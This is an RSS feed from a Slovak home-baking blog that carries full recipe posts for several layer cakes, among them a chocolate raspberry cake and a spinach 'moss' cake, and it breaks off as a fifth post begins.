<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Archívy torta - Zo srdca do hrnca</title>
	<atom:link href="https://www.zosrdcadohrnca.sk/tag/torta/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.zosrdcadohrnca.sk/tag/torta/</link>
	<description>Blog o radosti z dobrého jedla</description>
	<lastBuildDate>Wed, 24 Jul 2024 17:19:04 +0000</lastBuildDate>
	<language>sk-SK</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9</generator>

<image>
	<url>https://www.zosrdcadohrnca.sk/wp-content/uploads/2018/09/cropped-logo_transparent_web-32x32.png</url>
	<title>Archívy torta - Zo srdca do hrnca</title>
	<link>https://www.zosrdcadohrnca.sk/tag/torta/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Čokoládová torta s malinami</title>
		<link>https://www.zosrdcadohrnca.sk/2024/07/24/cokoladova-torta-s-malinami/</link>
					<comments>https://www.zosrdcadohrnca.sk/2024/07/24/cokoladova-torta-s-malinami/#respond</comments>
		
		<dc:creator><![CDATA[Ela]]></dc:creator>
		<pubDate>Wed, 24 Jul 2024 16:24:10 +0000</pubDate>
				<category><![CDATA[Pečenie a dezerty]]></category>
		<category><![CDATA[čokoláda]]></category>
		<category><![CDATA[čokoládová torta]]></category>
		<category><![CDATA[maliny]]></category>
		<category><![CDATA[torta]]></category>
		<guid isPermaLink="false">https://www.zosrdcadohrnca.sk/?p=6924</guid>

					<description><![CDATA[<p>Aj keď u mňa na blogu nájdete viac receptov na torty, nie som veľký experimentátor. Skôr mám pocit, že na rodinné oslavy pečiem to isté dookola. Moje torty nevyzerajú ako z cukrárne, ale vždy sa zjedia a vraj to s tou cukrárňou ani nemám skúšať. Túto čoko tortu sme tu už dokonca mali vo verzii s banánmi. Teraz som ju urobila v širšej forme a s malinami. Veľmi vám odporúčam môj kakaový korpus, je veľmi univerzálny, vláčny, pevný a vhodný [&#8230;]</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2024/07/24/cokoladova-torta-s-malinami/">Čokoládová torta s malinami</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Aj keď u mňa na blogu nájdete viac <a href="https://www.zosrdcadohrnca.sk/?s=torta">receptov na torty</a>, nie som veľký experimentátor. Skôr mám pocit, že na rodinné oslavy pečiem to isté dookola. Moje torty nevyzerajú ako z cukrárne, ale vždy sa zjedia a vraj to s tou cukrárňou ani nemám skúšať. Túto čoko tortu sme tu už dokonca mali <a href="https://www.zosrdcadohrnca.sk/2016/04/03/cokoladova-torta-s-bananmi/">vo verzii s banánm</a>i. Teraz som ju urobila v širšej forme a s malinami. Veľmi vám odporúčam môj kakaový korpus, je veľmi univerzálny, vláčny, pevný a vhodný aj pre začiatočníkov. Ja už síce roky pečiem torty párkrát do roka, ale tiež som stále amatér. Naposledy som v tom teple nezachladila tortu poriadne a tak mi čokoládová ganache roztopila krém navrchu torty. Neurobte tú istú chybu ako ja. Choďte v recepte krok po kroku a verím, že sa vám moja čokoládová torta s malinami podarí. A hlavne, že vám bude chutiť!</p>


<div class="wp-block-image">
<figure class="aligncenter size-large is-resized"><img fetchpriority="high" decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2024/07/IMG_9155-768x1024.jpg" alt="" class="wp-image-6930" style="width:768px;height:auto"/></figure>
</div>


<h3 class="wp-block-heading"><strong>Moje tipy:</strong></h3>



<ol class="wp-block-list">
<li>Korpus upečte deň vopred, bude sa lepšie krájať.</li>



<li>Tortu pred podávaním dobre zachlaďte.</li>



<li>Pre veľkú a vysokú tortu upečte 2 takéto korpusy a krém zdvojnásobte.</li>
</ol>



<h3 class="wp-block-heading"><strong>Korpus /tortová forma s priemerom 24 cm/:</strong></h3>



<ul class="wp-block-list">
<li>6 veľkých vajec</li>



<li>140 g kryštálového cukru</li>



<li>6 PL oleja</li>



<li>6 PL teplej vody</li>



<li>200 g polohrubej múky</li>



<li>2 PL kakaa</li>



<li>1 balenia prášku do pečiva</li>
</ul>



<h3 class="wp-block-heading"><strong>Krém:</strong></h3>



<ul class="wp-block-list">
<li>200 g horkej čokolády</li>



<li>500 g mascarpone</li>



<li>500 ml 33% smotany na šľahanie&nbsp;</li>



<li>1-2 PL cukru (podľa chuti)</li>
</ul>



<h3 class="wp-block-heading"><strong>Čokoládová ganache:</strong></h3>



<ul class="wp-block-list">
<li>100 g horkej čokolády</li>



<li>80-100 ml smotany na šľahanie</li>
</ul>



<p>+ 400-500 g malín</p>



<p>+ malinový džem</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="1024" height="768" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2024/07/P6190050-1024x768.jpg" alt="" class="wp-image-6926"/><figcaption class="wp-element-caption">Tortu zachlaďte po obtretí krémom a pred tým, než nalejete ganache. Moja torta sa nestihla dobre zachladiť a tak sa krém pod ganážou roztopil. Na chuti to ale neubralo ;)</figcaption></figure>
</div>


<h3 class="wp-block-heading"><strong>Postup:</strong></h3>



<p><strong>Formu</strong> na pečenie <strong>s priemerom 24 cm</strong> vystelieme <strong>pečiacim papierom</strong> a <strong>boky potrieme</strong> olejom. Rúru zapneme <strong>na 180 st. C. </strong><br>Bielka oddelíme od žĺtkov. <strong>Žĺtky </strong>vyšľaháme<strong> s cukrom</strong> <strong>do svetlej peny</strong>, po lyžiciach <strong>pridáme olej a teplú vodu.</strong>&nbsp;<br><strong>Múku s kakaom a práškom do pečiva</strong> preosejeme a pridáme k zmesi.<br><strong>Bielky vyšľaháme dotuha </strong>a jemne vmiešame.<br><strong>Cesto vylejeme</strong> do tortovej formy a vytiahneme vyššie k bokom.&nbsp;<br>Pečieme <strong>pri 180°C asi 30 minút</strong>, kým je upečená špajla suchá. Upečený <strong>korpus necháme 5 minút postáť</strong> a vyberieme z formy.<strong> Na mriežke </strong>necháme celkom <strong>vychladnúť.</strong><br>Na krém si <strong>roztopíme horkú čokoládu</strong> nad parou. V robote <strong>vyšľaháme mascarpone so šľahačkou.</strong> Podľa chuti môžeme pridať trochu cukru (čokoláda je dosť sladká). <strong>1-2 lyžice krému vmiešame k vychladenej čokoláde</strong>, až tak celý krém spojíme (čokoláda sa nezrazí). Dáme zachladiť.&nbsp;<br>Korpus môžeme <strong>prekrojiť </strong>na 2 alebo 3 časti. <strong>Natrieme</strong> ho malinovým<strong> džemom a časťou krému</strong>. Poukladáme <strong>časť malín. Zopakujeme </strong>ďalším plátom a korpus uložíme oblou hranou smerom nadol. Natrieme džemom, krémom a <strong>obtrieme aj boky </strong>torty. Dáme <strong>zachladiť.</strong> Potom <strong>natrieme zvyšný krém</strong> zhora aj po bokoch torty a <strong>zas odložíme do chladničky.&nbsp;</strong><br><strong>Na ganache</strong> zalejeme nalámanú čokoládu horúcou smotanou. Minútu necháme postáť, premiešame a nalejeme na tortu. Poukladáme zvyšné ovocie a necháme ešte zachladiť.&nbsp;</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2024/07/IMG_9159-768x1024.jpg" alt="" class="wp-image-6928"/></figure>
</div>


<p>Ak vyskúšate čokoládovú tortu s malinami podľa môjho receptu, podeľte sa o to v komentároch!</p>



<p>Ela</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2024/07/24/cokoladova-torta-s-malinami/">Čokoládová torta s malinami</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.zosrdcadohrnca.sk/2024/07/24/cokoladova-torta-s-malinami/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Machová torta</title>
		<link>https://www.zosrdcadohrnca.sk/2024/03/27/machova-torta/</link>
					<comments>https://www.zosrdcadohrnca.sk/2024/03/27/machova-torta/#respond</comments>
		
		<dc:creator><![CDATA[Ela]]></dc:creator>
		<pubDate>Wed, 27 Mar 2024 22:55:47 +0000</pubDate>
				<category><![CDATA[Pečenie a dezerty]]></category>
		<category><![CDATA[Veľká noc]]></category>
		<category><![CDATA[jarná torta]]></category>
		<category><![CDATA[machová torta]]></category>
		<category><![CDATA[špenát]]></category>
		<category><![CDATA[torta]]></category>
		<guid isPermaLink="false">https://www.zosrdcadohrnca.sk/?p=6779</guid>

					<description><![CDATA[<p>Posledné týždne sa vonku prechádzam s otvorenými očami. Nie že by som inak chodila poslepiačky, to nie. Len mám pocit, že konečne sa môžem zhlboka nadýchnuť. Nadýchať. Sviežeho vzduchu so závanom tepla, vône zobúdzajúcej sa prírody, na ktorú sa neviem vynadívať. Všimli ste si, že ešte predtým, než stromom začnú kvitnúť kvety, majú na sebe také malé zelené púčiky listov? Také nenápadné mláďatká, o ktorých ani neviete, kým poriadne neotvoríte oči. Tento rok to bolo už koncom februára. Nejako skoro, [&#8230;]</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2024/03/27/machova-torta/">Machová torta</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Posledné týždne sa vonku prechádzam s otvorenými očami. Nie že by som inak chodila poslepiačky, to nie. Len mám pocit, že konečne sa môžem zhlboka nadýchnuť. Nadýchať. Sviežeho vzduchu so závanom tepla, vône zobúdzajúcej sa prírody, na ktorú sa neviem vynadívať. Všimli ste si, že ešte predtým, než stromom začnú kvitnúť kvety, majú na sebe také malé zelené púčiky listov? Také nenápadné mláďatká, o ktorých ani neviete, kým poriadne neotvoríte oči. Tento rok to bolo už koncom februára.  Nejako skoro, pomyslela som si. Lebo ja som marcová a zažila som už aj narodeninový sneh. Tak niekedy neviem, či to s nami tá príroda myslí vážne. Alebo či to my myslíme vážne s tou prírodou. Ale to už si každý odpovie za seba.</p>



<p>Každopádne, ak tu mám milovníkov prírody a obzvlášť jari, verím, že vás poteším týmto špeciálnym dezertom. Machová torta, ktorá vyzerá ako z ozajstného machu. Podľa mňa skvelá narodeninová torta pre jarných oslávencov. Deťom som takým srandovným tónom tvrdila, že som tam dala trávu, lebo neviem, či by ju ochutnali, keby som priznala skutočnú farbu. Ale vy sa to dozviete. Lebo mám pre vás recept. A verte, že vám na ňu netreba žiadne farbivá ani špeciálne prísady. </p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2024/03/IMG_6601-768x1024.jpg" alt="" class="wp-image-6791"/></figure>
</div>


<p>Máte radi dezerty so skrytou zeleninou? Upečte si túto <a href="https://www.zosrdcadohrnca.sk/2016/02/04/jamieho-mrkvova-torta/">mrkvovú tortu</a>!</p>



<h2 class="wp-block-heading">Machová torta</h2>



<h3 class="wp-block-heading">Cesto</h3>



<ul class="wp-block-list">
<li>450 g mrazeného špenátového pretlaku (nechať rozmraziť a stiecť na sitku)</li>



<li>6 vajec</li>



<li>200 g cukru</li>



<li>1 dcl oleja</li>



<li>350 g g polohrubej múky</li>



<li>1 prášok do pečiva</li>
</ul>



<h3 class="wp-block-heading">Krém</h3>



<ul class="wp-block-list">
<li>250 g mascarpone</li>



<li>500 ml smotany na šľahanie</li>



<li>250 g hladkého plno-/polotučného tvarohu</li>



<li>3-4 PL cukru</li>



<li>1 vanilkový cukor</li>
</ul>



<h3 class="wp-block-heading">Postup</h3>



<p><strong>Špenát</strong> necháme <strong>rozmraziť a stiecť </strong>na sitku. Mne po stečení vody ostalo 270 g špenátu.</p>



<p><strong>Celé vajcia</strong> vyšľaháme <strong>s cukrom</strong> v mixéri <strong>do svetlej peny</strong>. Trvá to asi 8 minút.</p>



<p><strong>Polovicu oleja</strong> zmiešame <strong>so špenátom</strong>. Druhú <strong>polovicu oleja</strong> zľahka <strong>vmiešame</strong> ku vyšľahanej pene. Pridáme preosiatu <strong>múku s práškom do pečiva,</strong> nakoniec vmiešame <strong>špenát so zvyšným olejom. </strong></p>



<p>Cesto vlejeme <strong>do tortovej formy </strong>vystlanej papierom na pečenie (24-26 cm priemer). Pečieme vo vopred vyhriatej rúre na <strong>180 st. cca 45 &#8211; 50 minút. </strong>Vyskúšame test špajlou, po vytiahnutí má ostať suchá.</p>



<p>Upečený korpus necháme chvíľu postáť, potom vyberieme z formy a necháme <strong>celkom vychladnúť</strong>. Môžeme ho upiecť aj deň vopred. Z korpusu potom <strong>zrežeme hornú vydutú časť,</strong> ktorú použijeme<strong> na omrvinky</strong>. Korpus prerežeme na 2 časti.</p>



<p><strong>Na krém </strong>vyšľaháme šľahačku s mascarpone a cukrom. Zľahka vmiešame tvaroh. </p>



<p>Na korpus môžeme natrieť džem (nemusí byť, ak chceme mať tortu na reze iba zeleno-bielu). Rozotrieme časť krému, uložíme druhý korpus a znova rozotrieme krém. Trochu krému si necháme na obtretie bokov. Tortu dáme zachladiť. Navrch namrvíme vrch z korpusu. Môžeme ozdobiť sušeným či čerstvým ovocím, hodia sa maliny, čučoriedky, granátové jablko,&#8230;</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2024/03/IMG_6599-768x1024.jpg" alt="" class="wp-image-6790"/></figure>
</div>


<p>Ak vyskúšate túto tortu podľa môjho receptu, podeľte sa o to v komentároch!</p>



<p>Ela</p>



<p></p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2024/03/27/machova-torta/">Machová torta</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.zosrdcadohrnca.sk/2024/03/27/machova-torta/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Jahodová torta so šľahačkou</title>
		<link>https://www.zosrdcadohrnca.sk/2023/06/26/jahodova-torta-so-slahackou/</link>
					<comments>https://www.zosrdcadohrnca.sk/2023/06/26/jahodova-torta-so-slahackou/#comments</comments>
		
		<dc:creator><![CDATA[Ela]]></dc:creator>
		<pubDate>Mon, 26 Jun 2023 12:19:00 +0000</pubDate>
				<category><![CDATA[Letné recepty]]></category>
		<category><![CDATA[Pečenie a dezerty]]></category>
		<category><![CDATA[jahody]]></category>
		<category><![CDATA[piškóta]]></category>
		<category><![CDATA[šľahačka]]></category>
		<category><![CDATA[torta]]></category>
		<guid isPermaLink="false">https://www.zosrdcadohrnca.sk/?p=6437</guid>

					<description><![CDATA[<p>Ked&#8217;príde na dozreté, čerstvé, svieže letné ovocie, neviem čo skôr. Som milovník sladkých jahôd, ale nedám dopustiť ani na voňavé maliny, kyselkavé ríbezle, lahodné čučoriedky, aromatické višne,&#8230;ale prečo si vlastne vyberať! Práve pre toto tak ľúbim leto. Že nám postupne ponúka všetky tieto úžasne chute, jednu po druhej, a tak keď sa mi prejedia &#8222;len také natrhané&#8220;, ešte stále je čo vymýšľať. Do džemov, koláčov, letných drinkov či sirupov&#8230; V mojom archíve preto nájdete veľa chutných letných receptov. U nás [&#8230;]</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2023/06/26/jahodova-torta-so-slahackou/">Jahodová torta so šľahačkou</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Ked&#8217;príde na dozreté, čerstvé, svieže letné ovocie, neviem čo skôr. Som milovník sladkých jahôd, ale nedám dopustiť ani na voňavé maliny, kyselkavé ríbezle, lahodné čučoriedky, aromatické višne,&#8230;ale prečo si vlastne vyberať! Práve pre toto tak ľúbim leto. Že nám postupne ponúka všetky tieto úžasne chute, jednu po druhej, a tak keď sa mi prejedia &#8222;len také natrhané&#8220;, ešte stále je čo vymýšľať. Do džemov, koláčov, letných drinkov či sirupov&#8230; V mojom archíve preto nájdete veľa <a href="https://www.zosrdcadohrnca.sk/category/letne-recepty/" target="_blank" rel="noreferrer noopener">chutných letných receptov</a>. U nás doma sa leto nesie v znamení narodeninových osláv, preto rada pečiem jednoduché torty s ovocím. Táto jahodová torta so šľahačkou je toho skvelým príkladom. Korpus je ľahká piškóta a upiecť si ho môžete deň vopred. Potom stačí už len vyšľahať šľahačku, ozdobiť ovocím a je to.  Recept sa vám určite podarí podľa môjho podrobného postupu. A garantujem vám, že torta sa zje na posedenie :)</p>



<p>Neviete čo s jahodami? Vyskúšajte <a href="https://www.zosrdcadohrnca.sk/?s=jahody" target="_blank" rel="noreferrer noopener">ďalšie jahodové recepty</a> z môjho blogu.</p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2023/06/IMG_8521-768x1024.jpg" alt="jahody, šľahačka, torta" class="wp-image-6444"/></figure>
</div>


<h2 class="wp-block-heading">Jahodová torta so šľahačkou</h2>



<h3 class="wp-block-heading">Na korpus:</h3>



<ul class="wp-block-list">
<li>5 vajec</li>



<li>120 g kryštalového cukru</li>



<li>150 g hladkej múky&nbsp;</li>



<li>5 lyžíc oleja</li>



<li>1/2 balenia prášku do pečiva&nbsp;</li>
</ul>



<h3 class="wp-block-heading">Na dokončenie:</h3>



<ul class="wp-block-list">
<li>jahodový džem</li>



<li>500-600 ml 33% smotany na šľahanie (dobre vychladenej)</li>



<li>práškový cukor (cca 2 lyžice podľa chuti)</li>



<li>500 g jahôd</li>
</ul>



<h3 class="wp-block-heading">Ako na to:</h3>



<p>Pripravíme si <strong>tortovú formu s priemerom 24-26 cm</strong>. Vystelieme papierom na pečenie, boky vymastíme maslom/olejom.&nbsp;<br><strong>Rúru si zapneme na 150 st.C,</strong> horný a dolný ohrev.&nbsp;<br>Žĺtky oddelíme od bielok. <strong>Bielky šľaháme do polotuha</strong>, postupne po lyžiciach <strong>pridávame cukor.</strong> Šľaháme, kým sa cukor celkom rozpustí.&nbsp;<br>Na najnižších otáčkach na striedačku <strong>vmiešame po žĺtku a lyžici oleja.&nbsp;</strong><br>Nakoniec už len <strong>vareškou </strong>zľahka vmiešame<strong> preosiatu múku a kypriaci prášok.&nbsp;</strong><br>Cesto vlejeme do formy a pečieme vo vopred rozohriatej rúre pri <strong>150 st.C asi 30 minút.&nbsp;</strong><br>Korpus je upečený, keď sa <strong>okraje oddeľujú</strong> a do cesta zapichnutá špajla ostane suchá.&nbsp;<br>Korpus necháme 5 minút postáť, potom opatrne vyberieme z formy a dáme <strong>vychladnúť na mriežku.&nbsp;</strong></p>



<p><strong>Vychladenú smotanu si vyšľaháme s cukrom</strong> dotuha. Najprv šľaháme na vyšších otáčkach a keď začína smotana tuhnúť, otáčky mixéra znížime a došľaháme na nižších otáčkach (aby sa smotana nezrazila).&nbsp;</p>



<p>Šľahačku <strong>odložíme do chladničky</strong>, časť môžeme dať do vrecka so špičkou na ozdobenie.&nbsp;</p>



<p>Jahody odstopkujeme, umyjeme a jemne osušíme. Nakrájame na kúsky.&nbsp;</p>



<p><em>Dokončenie torty:</em></p>



<p>Vychladený <strong>korpus rozrežeme</strong> na dve časti. <strong>Natrieme jahodovým džemom</strong>, uložíme polovicu <strong>šľahačky a časť jahôd</strong>. Položíme <strong>druhý korpus</strong>, znova<strong> natrieme</strong> džemom, šľahačkou a uložíme zvyšok jahôd. <strong>Odložíme do chladničky</strong> aspoň na hodinu a môžeme podávať.&nbsp;</p>



<p><em><strong>Tip:</strong> korpus si môžete upiecť deň vopred.&nbsp;</em></p>


<div class="wp-block-image">
<figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2023/06/IMG_8523-768x1024.jpg" alt="jahody, torta, šľahačka" class="wp-image-6445"/></figure>
</div>


<p>Ak vyskúšate túto ovocnú tortu so šľahačkou podľa môjho receptu, podeľte sa o to v komentároch!</p>



<p>Ela</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2023/06/26/jahodova-torta-so-slahackou/">Jahodová torta so šľahačkou</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.zosrdcadohrnca.sk/2023/06/26/jahodova-torta-so-slahackou/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>Čokoládovo-kokosová torta</title>
		<link>https://www.zosrdcadohrnca.sk/2021/12/17/cokoladovo-kokosova-torta/</link>
					<comments>https://www.zosrdcadohrnca.sk/2021/12/17/cokoladovo-kokosova-torta/#comments</comments>
		
		<dc:creator><![CDATA[Ela]]></dc:creator>
		<pubDate>Fri, 17 Dec 2021 12:34:22 +0000</pubDate>
				<category><![CDATA[Pečenie a dezerty]]></category>
		<category><![CDATA[Vianočné recepty]]></category>
		<category><![CDATA[biela čokoláda]]></category>
		<category><![CDATA[čokoládová torta]]></category>
		<category><![CDATA[kokos]]></category>
		<category><![CDATA[kokosová torta]]></category>
		<category><![CDATA[torta]]></category>
		<guid isPermaLink="false">https://www.zosrdcadohrnca.sk/?p=6132</guid>

					<description><![CDATA[<p>Túto tortu som prvýkrát upiekla pred dvomi rokmi. Môj otec má veľmi rád kokos a horkú čokoládu, preto som jeho obľúbené chute spojila do tejto torty. Trochu trvalo, kým som ju dostala aj na blog. Pridávam ju teraz, keďže mi príde dosť vianočná. Kokos predsa k Vianociam patrí. Aj moje kokosové guľky v čokoláde vám na Vianoce veľmi chutia. Je však na vás, či táto čokoládovo-kokosová torta poteší vaše chuťové poháriky počas sviatkov alebo inokedy počas roka. Verím, že príležitosť [&#8230;]</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2021/12/17/cokoladovo-kokosova-torta/">Čokoládovo-kokosová torta</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Túto tortu som prvýkrát upiekla pred dvomi rokmi. Môj otec má veľmi rád kokos a horkú čokoládu, preto som jeho obľúbené chute spojila do tejto torty. Trochu trvalo, kým som ju dostala aj na blog. Pridávam ju teraz, keďže mi príde dosť vianočná. Kokos predsa k Vianociam patrí. Aj moje <a href="https://www.zosrdcadohrnca.sk/2020/12/13/kokosove-gulky-v-cokolade/" target="_blank" rel="noreferrer noopener">kokosové guľky v čokoláde</a> vám na Vianoce veľmi chutia. Je však na vás, či táto čokoládovo-kokosová torta poteší vaše chuťové poháriky počas sviatkov alebo inokedy počas roka. Verím, že príležitosť sa nájde. A dúfam, že spojenie kakaa, kokosu a čokolády si vás rovnako podmaní. </p>



<p>Zdobenie nie je moja silná stránka, vždy to radšej uhrám takto minimalisticky. Vy si tortu pokojne vyzdobte podľa fantázie, navrch si môžete urobiť <strong>čokoládovú ganache</strong>. Nadrobno nasekanú horkú čokoládu zalejem vriacou smotanou, nechám chvíľu postáť a rozmiešam dohladka. Na takúto tortu asi 100 g horkej čokolády a 100 ml smotany na šľahanie. (Ak je ganache príliš hustá, dolejte ešte trochu smotany.)</p>



<p>Zopár rád pri pečení torty som vám napísala <a href="https://www.zosrdcadohrnca.sk/2021/06/01/vanilkova-torta-s-ovocim/" target="_blank" rel="noreferrer noopener">aj v tomto recepte.</a></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/12/PA250592-768x1024.jpg" alt="" class="wp-image-6146"/></figure>



<h2 class="wp-block-heading">čokoládovo-kokosová torta</h2>



<h3 class="wp-block-heading">Korpus:</h3>



<ul class="wp-block-list"><li>6 vajec</li><li>140 g krupicového cukru</li><li>180 g polohrubej múky</li><li>20 g kakaa (použila som čierne)</li><li>1/2 balenia kypriaceho prášku</li><li>6 lyžíc teplej vody</li><li>6 lyžíc oleja</li><li>tortová forma Ø 24 cm, maslo a múka na vymazanie a vysypanie</li></ul>



<h3 class="wp-block-heading">Krém:</h3>



<ul class="wp-block-list"><li>500 g mascarpone</li><li>250 ml smotany na šľahanie</li><li>100 g bielej čokolády</li><li>100 g strúhaného kokosu</li></ul>



<h3 class="wp-block-heading">Čokoládový sirup:</h3>



<ul class="wp-block-list"><li>100 ml vody</li><li>4 PL kryštálového cukru</li><li>4 PL kakaa</li></ul>



<h3 class="wp-block-heading"><strong>Upečieme si korpus:</strong></h3>



<p>Na korpus si vymažeme tortovú formu maslom a vysypeme múkou. Rúru zapneme na 180 st.C.&nbsp;</p>



<p>Bielky oddelíme od žĺtkov. <strong>Žĺtky vyšľaháme s cukrom</strong> do svetlej peny. Znížime otáčky a <strong>po lyžiciach</strong> na striedačku pridávame teplú <strong>vodu a olej</strong>. Preosiatú <strong>múku a kakao</strong> spojíme <strong>s práškom do pečiva</strong> a vareškou vmiešame k žĺtkam. <strong>Bielky vyšľaháme dotuha</strong> a jemne vmiešame k zmesi.</p>



<p>Cesto vylejeme do formy a vytiahneme vyššie k bokom. Pečieme pri <strong>180 st.C. 25 &#8211; 30 minút.</strong>&nbsp;</p>



<h3 class="wp-block-heading"><strong>Pripravíme si krém:</strong></h3>



<p>Na krém si vo vodnom kúpeli <strong>roztopíme bielu čokoládu</strong> a necháme vychladnúť. Mixérom <strong>vymiešame mascarpone so smotanou na šľahanie</strong> na stredných otáčkach. Šľaháme krátko, asi 1-2 minúty, pozor na prešľahanie. Krém <strong>rozdelíme na dve polovice</strong>. <strong>K jednej časti</strong> zľahka primiešame roztopenú vychladenú <strong>bielu čokoládu a kokos</strong>. Dáme zachladiť do chladničky.</p>



<h3 class="wp-block-heading"><strong>Čokoládový sirup:</strong></h3>



<p>Na čokoládový sirup si rozvaríme cukor vo vode. Do cukrovej vody pridáme kakao a minútku povaríme. Necháme vychladnúť.</p>



<h3 class="wp-block-heading"><strong>Dokončenie torty:</strong></h3>



<p>Vychladený <strong>korpus rozrežeme</strong> na dva pláty. Každý plát <strong>potrieme čokoládovým sirupom</strong> a <strong>natrieme kokosovým krémom</strong> s bielou čokoládou. <strong>Tortu</strong> necháme dobre <strong>zachladiť</strong>. Potom ju celú <strong>obtrieme druhou polovicou krému</strong> z mascarpone a šľahačky. Znova necháme zachladiť aspoň 2 hodiny a môžeme podávať.&nbsp;</p>



<p><em>Tip: tortu môžete obsypať strúhaným kokosom, poliať čokoládovou ganache, či ozdobiť kokosovými guľkami. </em></p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="768" height="1024" src="https://www.zosrdcadohrnca.sk/wp-content/uploads/2021/12/PA250576-768x1024.jpg" alt="" class="wp-image-6142"/></figure>



<p>Ak vyskúšate čokoládovo-kokosovú tortu podľa môjho receptu, podeľte sa o to v komentároch. </p>



<p>Ela</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2021/12/17/cokoladovo-kokosova-torta/">Čokoládovo-kokosová torta</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.zosrdcadohrnca.sk/2021/12/17/cokoladovo-kokosova-torta/feed/</wfw:commentRss>
			<slash:comments>8</slash:comments>
		
		
			</item>
		<item>
		<title>9 receptov na jahodové koláče</title>
		<link>https://www.zosrdcadohrnca.sk/2021/06/09/9-receptov-na-jahodove-kolace/</link>
					<comments>https://www.zosrdcadohrnca.sk/2021/06/09/9-receptov-na-jahodove-kolace/#comments</comments>
		
		<dc:creator><![CDATA[Ela]]></dc:creator>
		<pubDate>Wed, 09 Jun 2021 19:54:00 +0000</pubDate>
				<category><![CDATA[Články]]></category>
		<category><![CDATA[Letné recepty]]></category>
		<category><![CDATA[Pečenie a dezerty]]></category>
		<category><![CDATA[cheesecake]]></category>
		<category><![CDATA[galetka]]></category>
		<category><![CDATA[jahodový koláč]]></category>
		<category><![CDATA[jahody]]></category>
		<category><![CDATA[koláč]]></category>
		<category><![CDATA[pavlova]]></category>
		<category><![CDATA[tart]]></category>
		<category><![CDATA[torta]]></category>
		<guid isPermaLink="false">https://www.zosrdcadohrnca.sk/?p=5680</guid>

					<description><![CDATA[<p>Aj vy tak milujete jahody? Asi mi dáte za pravdu, že najlepšie chutia len tak čerstvé. Ak však zatúžite upiecť z nich niečo dobré, mám pre vás niekoľko tipov na jahodové koláče. Máte radšej jahody v ceste, alebo nimi chcete ozodobiť upečený koláč? Verím, že si nájdete recept podľa vašich chutí. U mňa sú jahody jedno z ovocí, ktoré najradšej spotrebujem čerstvé či na koláč. Väčšinou ich zjeme skôr, ako by som z nich stihla uvariť džem, občas ich však [&#8230;]</p>
<p>Príspevok <a href="https://www.zosrdcadohrnca.sk/2021/06/09/9-receptov-na-jahodove-kolace/">9 receptov na jahodové koláče</a> zobrazený najskôr <a href="https://www.zosrdcadohrnca.sk">Zo srdca do hrnca</a>.</p>
]]></description>
										<content:encoded><![CDATA[
